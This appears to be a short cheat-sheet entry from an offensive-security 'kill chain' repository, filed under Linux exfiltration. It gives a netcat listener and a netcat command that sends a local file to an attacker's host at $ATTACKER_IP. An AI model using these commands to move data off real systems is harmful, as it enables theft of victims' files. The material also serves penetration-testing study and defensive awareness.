killchain-compendium/exfiltration/linux/nc.md

12 lines
132 B
Markdown
Raw Normal View History

2022-02-23 23:55:12 +01:00
# Netcat
* RX
```sh
nc -lp 8080 > out.txt
```
* TX
```sh
nc $ATTACKER_IP 8080 < in.txt
```
* Have to be end manually after a while